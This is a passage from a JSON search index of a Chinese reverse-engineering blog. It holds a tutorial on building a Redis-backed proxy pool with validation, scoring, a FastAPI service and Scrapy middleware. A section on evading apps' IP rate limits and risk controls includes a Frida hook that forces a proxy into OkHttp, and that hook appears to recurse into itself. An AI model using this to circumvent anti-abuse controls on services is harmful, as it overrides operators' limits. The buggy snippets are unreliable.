FetcherScheduler: \"\"\"采集调度器：管理所有采集器并汇总结果\"\"\" def __init__(self, fetchers: list): self.fetchers = fetchers async def fetch_all(self) -\u003e List[Tuple[str, int, str]]: tasks = [f.fetch() for f in self.fetchers] results = await asyncio.gather(*tasks, return_exceptions=True) all_proxies = [] for i, result in enumerate(results): if isinstance(result, Exception): print(f\"采集器 {i} 出错: {result}\") else: all_proxies.extend(result) print(f\"采集器 {i} 获取 {len(result)} 个代理\") # 去重 unique = list(set(all_proxies)) print(f\"汇总: 共 {len(all_proxies)} 个，去重后 {len(unique)} 个\") return unique ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:3:2","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#付费-api-集成"},{"categories":null,"collections":null,"content":"4. 代理验证模块 ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:4:0","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#4-代理验证模块"},{"categories":null,"collections":null,"content":"异步批量验证 验证模块是代理池的性能瓶颈所在，必须使用异步 IO 来实现高并发验证： # checker/validator.py import time import asyncio import aiohttp from dataclasses import dataclass from typing import Optional @dataclass class ProxyInfo: \"\"\"代理详细信息\"\"\" ip: str port: int protocol: str speed: float = 0.0 # 响应时间（秒） anonymity: str = \"unknown\" # transparent / anonymous / high_anonymous country: str = \"unknown\" is_valid: bool = False class ProxyValidator: \"\"\"异步代理验证器\"\"\" # 用于检测 IP 和匿名度的 API CHECK_URL = \"https://httpbin.org/ip\" TIMEOUT = 10 # 秒 CONCURRENT_LIMIT = 100 # 最大并发数 def __init__(self, local_ip: str): self.local_ip = local_ip self.semaphore = asyncio.Semaphore(self.CONCURRENT_LIMIT) async def validate_single(self, proxy: ProxyInfo) -\u003e ProxyInfo: \"\"\"验证单个代理\"\"\" async with self.semaphore: proxy_url = f\"{proxy.protocol}://{proxy.ip}:{proxy.port}\" start_time = time.time() try: async with aiohttp.ClientSession() as session: async with session.get( self.CHECK_URL, proxy=proxy_url, timeout=aiohttp.ClientTimeout(total=self.TIMEOUT), ) as resp: if resp.status == 200: data = await resp.json() proxy.speed = round(time.time() - start_time, 2) proxy.is_valid = True # 匿名度检测 origin_ip = data.get(\"origin\", \"\") if self.local_ip not in origin_ip: proxy.anonymity = \"high_anonymous\" else: proxy.anonymity = \"transparent\" except Exception: proxy.is_valid = False return proxy async def validate_batch(self, proxies: list) -\u003e list: \"\"\"批量验证代理\"\"\" tasks = [self.validate_single(p) for p in proxies] results = await asyncio.gather(*tasks) valid = [p for p in results if p.is_valid] print(f\"验证完成: {len(proxies)} 个中 {len(valid)} 个可用\") return valid ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:4:1","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#异步批量验证"},{"categories":null,"collections":null,"content":"地理位置检测 在某些场景下（如需要特定地区 IP 访问本地化内容），需要检测代理的地理位置： # checker/geo.py import aiohttp class GeoChecker: \"\"\"代理地理位置检测\"\"\" GEO_API = \"http://ip-api.com/json/{ip}?lang=zh-CN\" async def check_geo(self, ip: str) -\u003e dict: \"\"\"查询 IP 地理信息\"\"\" try: async with aiohttp.ClientSession() as session: url = self.GEO_API.format(ip=ip) async with session.get(url, timeout=aiohttp.ClientTimeout(total=5)) as resp: data = await resp.json() if data.get(\"status\") == \"success\": return { \"country\": data.get(\"country\", \"\"), \"region\": data.get(\"regionName\", \"\"), \"city\": data.get(\"city\", \"\"), \"isp\": data.get(\"isp\", \"\"), } except Exception: pass return {\"country\": \"unknown\", \"region\": \"\", \"city\": \"\", \"isp\": \"\"} ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:4:2","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#地理位置检测"},{"categories":null,"collections":null,"content":"5. 存储方案 ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:5:0","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#5-存储方案"},{"categories":null,"collections":null,"content":"Redis 有序集合存储 Redis 的 Sorted Set 是代理池存储的最佳选择，利用 score 实现代理质量评分的天然排序： # storage/redis_store.py import json import random import redis from typing import Optional, List class ProxyStore: \"\"\"Redis 代理存储\"\"\" PROXY_KEY = \"proxy:pool\" # 有序集合主键 PROXY_DETAIL_PREFIX = \"proxy:detail:\" # 代理详情 Hash INITIAL_SCORE = 50 # 新代理初始分数 MAX_SCORE = 100 MIN_SCORE = 0 def __init__(self, host=\"localhost\", port=6379, db=0, password=None): self.redis = redis.Redis( host=host, port=port, db=db, password=password, decode_responses=True ) def add(self, proxy_str: str, detail: dict = None) -\u003e bool: \"\"\"添加新代理（如果已存在则跳过）\"\"\" if not self.redis.zscore(self.PROXY_KEY, proxy_str): self.redis.zadd(self.PROXY_KEY, {proxy_str: self.INITIAL_SCORE}) if detail: self.redis.hset( f\"{self.PROXY_DETAIL_PREFIX}{proxy_str}\", mapping=detail ) # 设置详情 TTL，24 小时后自动清理 self.redis.expire( f\"{self.PROXY_DETAIL_PREFIX}{proxy_str}\", 86400 ) return True return False def increase_score(self, proxy_str: str, delta: int = 1): \"\"\"提升代理分数（验证成功时调用）\"\"\" score = self.redis.zscore(self.PROXY_KEY, proxy_str) if score is not None: new_score = min(self.MAX_SCORE, score + delta) self.redis.zadd(self.PROXY_KEY, {proxy_str: new_score}) def decrease_score(self, proxy_str: str, delta: int = 1): \"\"\"降低代理分数（验证失败时调用），低于阈值则删除\"\"\" score = self.redis.zscore(self.PROXY_KEY, proxy_str) if score is not None: new_score = score - delta if new_score \u003c= self.MIN_SCORE: self.remove(proxy_str) else: self.redis.zadd(self.PROXY_KEY, {proxy_str: new_score}) def remove(self, proxy_str: str): \"\"\"删除代理\"\"\" self.redis.zrem(self.PROXY_KEY, proxy_str) self.redis.delete(f\"{self.PROXY_DETAIL_PREFIX}{proxy_str}\") def get_random(self, min_score: int = 80) -\u003e Optional[str]: \"\"\"获取一个高分随机代理\"\"\" # 先尝试获取满分代理 top_proxies = self.redis.zrangebyscore( self.PROXY_KEY, min_score, self.MAX_SCORE ) if top_proxies: return random.choice(top_proxies) # 降级：获取任意可用代理 all_proxies = self.redis.zrangebyscore( self.PROXY_KEY, self.MIN_SCORE + 1, self.MAX_SCORE ) if all_proxies: return random.choice(all_proxies) return None def get_top(self, count: int = 10) -\u003e List[tuple]: \"\"\"获取评分最高的 N 个代理\"\"\" return self.redis.zrevrangebyscore( self.PROXY_KEY, self.MAX_SCORE, self.MIN_SCORE, start=0, num=count, withscores=True ) def count(self) -\u003e int: \"\"\"获取代理总数\"\"\" return self.redis.zcard(self.PROXY_KEY) def count_valid(self, min_score: int = 50) -\u003e int: \"\"\"获取有效代理数（分数高于阈值）\"\"\" return self.redis.zcount(self.PROXY_KEY, min_score, self.MAX_SCORE) def cleanup_expired(self, min_score: int = 10): \"\"\"清理低分代理\"\"\" removed = self.redis.zremrangebyscore( self.PROXY_KEY, 0, min_score ) print(f\"清理了 {removed} 个低分代理\") ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:5:1","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#redis-有序集合存储"},{"categories":null,"collections":null,"content":"TTL 管理策略 策略 说明 初始分数 50 新代理给予中间分数，需通过验证才能升到高分 成功 +1 每次验证成功加 1 分，最高 100 分 失败 -10 每次验证失败扣 10 分，快速淘汰不稳定代理 低于阈值删除 分数降到 0 时彻底删除，释放存储空间 详情 24h 过期 代理附属信息（地理位置、ISP 等）设置 TTL 自动过期 ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:5:2","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#ttl-管理策略"},{"categories":null,"collections":null,"content":"6. API 服务 ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:6:0","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#6-api-服务"},{"categories":null,"collections":null,"content":"FastAPI 实现 使用 FastAPI 构建高性能的代理分发接口： # api/server.py from fastapi import FastAPI, Query, HTTPException from storage.redis_store import ProxyStore app = FastAPI(title=\"Proxy Pool API\", version=\"1.0\") store = ProxyStore() @app.get(\"/get\") async def get_proxy( min_score: int = Query(80, description=\"最低分数阈值\"), protocol: str = Query(None, description=\"指定协议: http/https/socks5\"), ): \"\"\"随机获取一个高质量代理\"\"\" proxy = store.get_random(min_score=min_score) if not proxy: raise HTTPException(status_code=503, detail=\"代理池为空\") return {\"proxy\": proxy, \"protocol\": protocol or \"http\"} @app.get(\"/get_batch\") async def get_batch( count: int = Query(10, description=\"获取数量\"), min_score: int = Query(80, description=\"最低分数阈值\"), ): \"\"\"批量获取代理\"\"\" proxies = store.get_top(count=count) return { \"count\": len(proxies), \"proxies\": [{\"proxy\": p, \"score\": s} for p, s in proxies], } @app.get(\"/count\") async def get_count(): \"\"\"查看代理池状态\"\"\" return { \"total\": store.count(), \"valid\": store.count_valid(min_score=50), \"high_quality\": store.count_valid(min_score=80), } @app.post(\"/report\") async def report_proxy(proxy: str, is_valid: bool): \"\"\"爬虫反馈代理状态\"\"\" if is_valid: store.increase_score(proxy) else: store.decrease_score(proxy, delta=10) return {\"status\": \"ok\"} # 启动: uvicorn api.server:app --host 0.0.0.0 --port 5000 ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:6:1","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#fastapi-实现"},{"categories":null,"collections":null,"content":"带权重的随机选择 在高并发场景下，简单随机可能会把所有流量打到少数几个代理上。使用加权随机算法可以让高分代理获得更高的被选中概率： # api/weighted_selector.py import random from typing import Optional def weighted_random_proxy(store) -\u003e Optional[str]: \"\"\" 基于分数的加权随机选择。 分数越高的代理被选中的概率越大。 \"\"\" # 获取所有代理及其分数 proxies_with_scores = store.redis.zrangebyscore( store.PROXY_KEY, 10, store.MAX_SCORE, withscores=True ) if not proxies_with_scores: return None proxies = [p for p, _ in proxies_with_scores] weights = [s for _, s in proxies_with_scores] # random.choices 支持权重选择 selected = random.choices(proxies, weights=weights, k=1) return selected[0] ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:6:2","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#带权重的随机选择"},{"categories":null,"collections":null,"content":"7. 代理质量评分 ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:7:0","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#7-代理质量评分"},{"categories":null,"collections":null,"content":"评分算法 综合多个维度对代理进行质量评分： # scorer/quality.py from dataclasses import dataclass @dataclass class ProxyMetrics: \"\"\"代理性能指标\"\"\" total_requests: int = 0 # 总请求次数 success_count: int = 0 # 成功次数 fail_count: int = 0 # 失败次数 avg_speed: float = 0.0 # 平均响应时间（秒） last_check_time: float = 0.0 # 上次检测时间戳 consecutive_fails: int = 0 # 连续失败次数 class ProxyScorer: \"\"\" 代理综合评分器 最终分数 = 成功率得分 * 0.4 + 速度得分 * 0.3 + 稳定性得分 * 0.3 \"\"\" # 各维度权重 WEIGHT_SUCCESS_RATE = 0.4 WEIGHT_SPEED = 0.3 WEIGHT_STABILITY = 0.3 # 速度等级阈值（秒） SPEED_EXCELLENT = 1.0 SPEED_GOOD = 3.0 SPEED_ACCEPTABLE = 5.0 def calculate_score(self, metrics: ProxyMetrics) -\u003e int: \"\"\"计算代理综合分数（0-100）\"\"\" # 1. 成功率得分 if metrics.total_requests == 0: success_score = 50 # 新代理默认 else: rate = metrics.success_count / metrics.total_requests success_score = rate * 100 # 2. 速度得分 if metrics.avg_speed \u003c= self.SPEED_EXCELLENT: speed_score = 100 elif metrics.avg_speed \u003c= self.SPEED_GOOD: speed_score = 70 elif metrics.avg_speed \u003c= self.SPEED_ACCEPTABLE: speed_score = 40 else: speed_score = 10 # 3. 稳定性得分（连续失败次数越多，扣分越严重） if metrics.consecutive_fails == 0: stability_score = 100 elif metrics.consecutive_fails \u003c= 2: stability_score = 60 elif metrics.consecutive_fails \u003c= 5: stability_score = 20 else: stability_score = 0 # 加权计算 final_score = ( success_score * self.WEIGHT_SUCCESS_RATE + speed_score * self.WEIGHT_SPEED + stability_score * self.WEIGHT_STABILITY ) return max(0, min(100, int(final_score))) ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:7:1","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#评分算法"},{"categories":null,"collections":null,"content":"评分维度说明 维度 权重 计算方式 说明 成功率 40% 成功次数 / 总请求次数 * 100 反映代理的基本可用性 响应速度 30% 分段映射: \u003c1s=100, \u003c3s=70, \u003c5s=40, \u003e5s=10 快速代理优先分配给时效性任务 稳定性 30% 基于连续失败次数: 0次=100, \u003c=2次=60, \u003c=5次=20 避免使用频繁波动的不稳定代理 ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:7:2","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#评分维度说明"},{"categories":null,"collections":null,"content":"8. Scrapy 中间件集成 ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:8:0","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#8-scrapy-中间件集成"},{"categories":null,"collections":null,"content":"工作流程 请求前 (process_request): 从代理池获取一个代理，赋值给 request.meta['proxy']。 响应后 (process_response): 检查状态码。如果是 200，说明代理正常；如果是 403/429/超时，说明代理可能失效或被封。 异常处理 (process_exception): 捕获连接超时、连接拒绝等网络错误，标记该代理失效，并对当前请求进行重试。 ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:8:1","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#工作流程"},{"categories":null,"collections":null,"content":"代码实现 # middlewares.py import requests import logging from scrapy.exceptions import IgnoreRequest class ProxyMiddleware: def __init__(self, proxy_pool_url): self.proxy_pool_url = proxy_pool_url self.logger = logging.getLogger(__name__) @classmethod def from_crawler(cls, crawler): return cls( proxy_pool_url=crawler.settings.get('PROXY_POOL_URL') ) def _get_random_proxy(self): try: response = requests.get(self.proxy_pool_url) if response.status_code == 200: return response.text.strip() except requests.ConnectionError: return None return None def process_request(self, request, spider): # 如果请求已经设置代理（例如特定请求），则跳过 if request.meta.get('proxy'): return proxy = self._get_random_proxy() if proxy: self.logger.debug(f\"Using proxy: {proxy}\") # 设置代理，格式: http://user:pass@ip:端口 或 http://ip:端口 request.meta['proxy'] = f\"http://{proxy}\" else: self.logger.warning(\"No proxy available from pool!\") def process_response(self, request, response, spider): # 如果遇到验证码、封禁等状态码 if response.status in [403, 429]: self.logger.warning( f\"Proxy {request.meta.get('proxy')} banned \" f\"(Status {response.status}), retrying...\" ) # 标记该代理失效（可选：调用接口报告该代理坏） # self._report_bad_proxy(request.meta.get('proxy')) # 删除当前代理设置，重新调度请求（会再次经过 process_request 换新代理） del request.meta['proxy'] return request.replace(dont_filter=True) return response def process_exception(self, request, exception, spider): # 处理连接超时、DNS 错误等 self.logger.error(f\"Proxy {request.meta.get('proxy')} failed: {exception}\") # 换代理重试 if 'proxy' in request.meta: del request.meta['proxy'] return request.replace(dont_filter=True) ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:8:2","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#代码实现"},{"categories":null,"collections":null,"content":"配置 settings.py # settings.py DOWNLOADER_MIDDLEWARES = { 'myproject.middlewares.ProxyMiddleware': 543, # 禁用 Scrapy 默认 UserAgent 和重试中间件（视情况而定） # 'scrapy.downloadermiddlewares.useragent.UserAgentMiddleware': None, } PROXY_POOL_URL = 'http://localhost:5000/get' ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:8:3","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#配置-settingspy"},{"categories":null,"collections":null,"content":"9. 与逆向工程结合 在移动端逆向工程中，代理池有多个关键应用场景。 ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:9:0","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#9-与逆向工程结合"},{"categories":null,"collections":null,"content":"反爬绕过策略 当目标 APP 采用了 IP 频率限制时，结合代理池可以有效绕过： # re_tools/anti_crawl.py import requests from itertools import cycle class ProxyRotator: \"\"\" 逆向工程专用代理轮转器。 适用于：API 接口批量测试、签名算法验证、数据批量拉取等场景。 \"\"\" def __init__(self, pool_api: str = \"http://localhost:5000\"): self.pool_api = pool_api def get_proxy(self, protocol: str = \"http\") -\u003e dict: \"\"\"从代理池获取一个代理，返回 requests 可用格式\"\"\" try: resp = requests.get(f\"{self.pool_api}/get\") proxy_str = resp.json().get(\"proxy\") if proxy_str: return { \"http\": f\"http://{proxy_str}\", \"https\": f\"http://{proxy_str}\", } except Exception: pass return {} def report_result(self, proxy_str: str, success: bool): \"\"\"向代理池反馈使用结果\"\"\" try: requests.post( f\"{self.pool_api}/report\", params={\"proxy\": proxy_str, \"is_valid\": success} ) except Exception: pass def request_with_retry(self, url: str, max_retries: int = 3, **kwargs) -\u003e requests.Response: \"\"\"带代理轮转的请求，自动重试\"\"\" for attempt in range(max_retries): proxies = self.get_proxy() try: resp = requests.get( url, proxies=proxies, timeout=10, **kwargs ) if resp.status_code == 200: self.report_result( list(proxies.values())[0], True ) return resp except Exception: if proxies: self.report_result( list(proxies.values())[0], False ) raise Exception(f\"请求失败，已重试 {max_retries} 次\") ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:9:1","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#反爬绕过策略"},{"categories":null,"collections":null,"content":"请求分发策略 在逆向分析某个 APP 的 API 时，通常需要大量请求来测试不同参数组合。合理的请求分发策略可以避免触发风控： 策略 说明 适用场景 轮询分发 依次使用池中每个代理，均匀分摊请求量 参数遍历、接口枚举 随机分发 每次请求随机选择代理，模拟真实用户分布 常规数据采集 加权分发 高质量代理承担更多请求，低分代理少量试探 高反爬目标 地域分发 按目标需求选择特定地域的代理 地域限制内容抓取 粘性会话 同一会话保持使用同一代理，避免中途切换触发风控 需要登录态的采集 ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:9:2","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#请求分发策略"},{"categories":null,"collections":null,"content":"Frida 配合代理池 在使用 Frida hook APP 的网络请求时，可以通过代理池分散请求来源： # frida_proxy_hook.py \"\"\" Frida 脚本：Hook OkHttp 设置动态代理 配合代理池使用，每次请求使用不同代理 IP \"\"\" FRIDA_SCRIPT = \"\"\" Java.perform(function() { var Proxy = Java.use('java.net.Proxy'); var ProxyType = Java.use('java.net.Proxy$Type'); var InetSocketAddress = Java.use('java.net.InetSocketAddress'); var OkHttpClient = Java.use('okhttp3.OkHttpClient$Builder'); // Hook OkHttpClient.Builder.build() OkHttpClient.build.implementation = function() { // 从代理池 API 获取代理（通过 Java 发 HTTP 请求） var proxyHost = \"PROXY_HOST\"; var proxyPort = PROXY_PORT; var addr = InetSocketAddress.$new(proxyHost, proxyPort); var proxy = Proxy.$new(ProxyType.HTTP.value, addr); this.proxy(proxy); console.log(\"[*] OkHttp proxy set to: \" + proxyHost + \":\" + proxyPort); return this.build(); }; }); \"\"\" ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:9:3","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#frida-配合代理池"},{"categories":null,"collections":null,"content":"10. 监控与运维 ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:10:0","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#10-监控与运维"},{"categories":null,"collections":null,"content":"Prometheus 指标采集 为代理池各模块暴露监控指标： # monitor/metrics.py from prometheus_client import Gauge, Counter, Histogram, start_http_server # 代理池容量指标 POOL_TOTAL = Gauge( \"proxy_pool_total\", \"代理池中代理总数\" ) POOL_VALID = Gauge( \"proxy_pool_valid\", \"可用代理数量\" ) POOL_HIGH_QUALITY = Gauge( \"proxy_pool_high_quality\", \"高质量代理数量（分数\u003e80）\" ) # 采集器指标 FETCH_COUNT = Counter( \"proxy_fetch_total\", \"采集到的代理总数\", [\"source\"] ) FETCH_ERRORS = Counter( \"proxy_fetch_errors_total\", \"采集失败次数\", [\"source\"] ) # 验证器指标 CHECK_DURATION = Histogram( \"proxy_check_duration_seconds\", \"单个代理验证耗时\" ) CHECK_RESULTS = Counter( \"proxy_check_results_total\", \"验证结果统计\", [\"result\"] ) # API 指标 API_REQUESTS = Counter( \"proxy_api_requests_total\", \"API 请求次数\", [\"endpoint\"] ) API_EMPTY_RESPONSES = Counter( \"proxy_api_empty_total\", \"代理池为空的响应次数\" ) def update_pool_metrics(store): \"\"\"定期更新池容量指标\"\"\" POOL_TOTAL.set(store.count()) POOL_VALID.set(store.count_valid(min_score=50)) POOL_HIGH_QUALITY.set(store.count_valid(min_score=80)) ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:10:1","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#prometheus-指标采集"},{"categories":null,"collections":null,"content":"告警规则 在 Prometheus AlertManager 中配置以下告警规则： # alertmanager/rules.yml groups: - name: proxy_pool_alerts rules: - alert: ProxyPoolLow expr: proxy_pool_valid \u003c 50 for: 5m labels: severity: warning annotations: summary: \"可用代理数量不足\" description: \"代理池可用代理仅剩 {{ $value }} 个，请检查采集器\" - alert: ProxyPoolEmpty expr: proxy_pool_valid == 0 for: 1m labels: severity: critical annotations: summary: \"代理池为空\" description: \"代理池中没有可用代理，爬虫任务可能中断\" - alert: FetcherDown expr: rate(proxy_fetch_total[10m]) == 0 for: 10m labels: severity: warning annotations: summary: \"采集器停止工作\" description: \"过去 10 分钟没有新代理被采集\" ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:10:2","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#告警规则"},{"categories":null,"collections":null,"content":"Docker Compose 部署 完整的代理池系统可通过 Docker Compose 一键部署： # docker-compose.yml version: \"3.8\" services: redis: image: redis:7-alpine ports: - \"6379:6379\" volumes: - redis_data:/data fetcher: build: ./fetcher depends_on: - redis environment: - REDIS_HOST=redis - FETCH_INTERVAL=300 restart: always checker: build: ./checker depends_on: - redis environment: - REDIS_HOST=redis - CHECK_INTERVAL=60 - CONCURRENT_LIMIT=200 restart: always deploy: replicas: 2 # 可水平扩展 api: build: ./api depends_on: - redis ports: - \"5000:5000\" environment: - REDIS_HOST=redis restart: always prometheus: image: prom/prometheus ports: - \"9090:9090\" volumes: - ./monitor/prometheus.yml:/etc/prometheus/prometheus.yml grafana: image: grafana/grafana ports: - \"3000:3000\" depends_on: - prometheus volumes: redis_data: ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:10:3","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#docker-compose-部署"},{"categories":null,"collections":null,"content":"Grafana 监控面板 建议在 Grafana 中创建以下面板来实时监控代理池状态： 面板名称 数据源 图表类型 用途 池容量趋势 proxy_pool_total 折线图 观察代理池规模变化趋势 可用率 valid / total * 100 仪表盘 实时展示代理池健康度 采集速率 rate(proxy_fetch_total[5m]) 折线图 监控各采集源的产出速率 验证通过率 check_results{result=\"pass\"} 饼图 分析代理源的整体质量 API QPS rate(proxy_api_requests[1m]) 折线图 监控消费端压力 响应时间分布 proxy_check_duration_seconds 直方图 分析代理速度分布 ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:10:4","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#grafana-监控面板"},{"categories":null,"collections":null,"content":"11. 开源代理池推荐 proxy_pool GitHub: jhao104/proxy_pool 特点: 也是基于 Redis，架构清晰，支持 Docker 一键部署，内置了几十个免费源的抓取规则。 Gerapy / Scylla GitHub: imWildCat/scylla 特点: 智能化代理池，自动学习代理的稳定性。 GimmeProxy 特点: Go 语言编写，性能强劲。 ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:11:0","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#11-开源代理池推荐"},{"categories":null,"collections":null,"content":"12. 隧道代理 (Tunnel Proxy) 对于企业级应用，维护自建代理池成本较高（免费 IP 质量极差，可用率不足 5%）。此时通常使用厂商提供的隧道代理。 特点: 不需要在本地维护 IP 池。 只有一个固定的入口地址（如 http://proxy.vendor.com:8000）。 每一次请求，云端会自动转发给背后不同的动态 IP。 Scrapy 集成: 只需要在 process_request 中将代理设置为该固定地址，并在 Header 中添加鉴权信息。 # Tunnel Proxy Example import base64 def process_request(self, request, spider): request.meta['proxy'] = \"http://proxy.vendor.com:8000\" # 某些厂商要求在头部通过 Proxy-Authorization 认证 auth = base64.b64encode(b\"user:pass\").decode() request.headers['Proxy-Authorization'] = f\"Basic {auth}\" ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:12:0","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#12-隧道代理-tunnel-proxy"},{"categories":null,"collections":null,"content":"总结 代理池是大规模爬虫系统和逆向工程的核心基础设施。通过合理的架构设计（Fetcher -\u003e Checker -\u003e Storage -\u003e API）和 Scrapy 中间件集成，可以构建一个高可用、自动轮转的代理系统，有效应对目标站的反爬虫策略。 关键要点回顾: 模块 核心技术 注意事项 采集 aiohttp + 多源聚合 定时调度，注意源站反爬 验证 asyncio 并发 + 多维度检测 控制并发数，区分匿名等级 存储 Redis Sorted Set + TTL 合理设置评分区间和淘汰策略 服务 FastAPI + 加权随机 支持批量获取和反馈机制 评分 成功率 + 速度 + 稳定性加权 权重可根据实际场景动态调整 监控 Prometheus + Grafana 配置告警规则，保障系统可用性 逆向 Frida hook + 请求分发 结合粘性会话和地域分发策略 ","date":"2024-08-17","objectID":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/:13:0","tags":["Docker","代理池","电商","自动化","Android","社交媒体"],"title":"代理池设计与 Scrapy 集成","uri":"/reverse_engineering/android/01-recipes/automation/proxy_pool_design/#总结"},{"categories":null,"collections":null,"content":"CORS 与同源策略 ","date":"2024-07-29","objectID":"/reverse_engineering/web/01-foundations/cors_and_same_origin_policy/:0:0","tags":["Web","HTTP","代理池","JavaScript","基础知识","DEX"],"title":"CORS 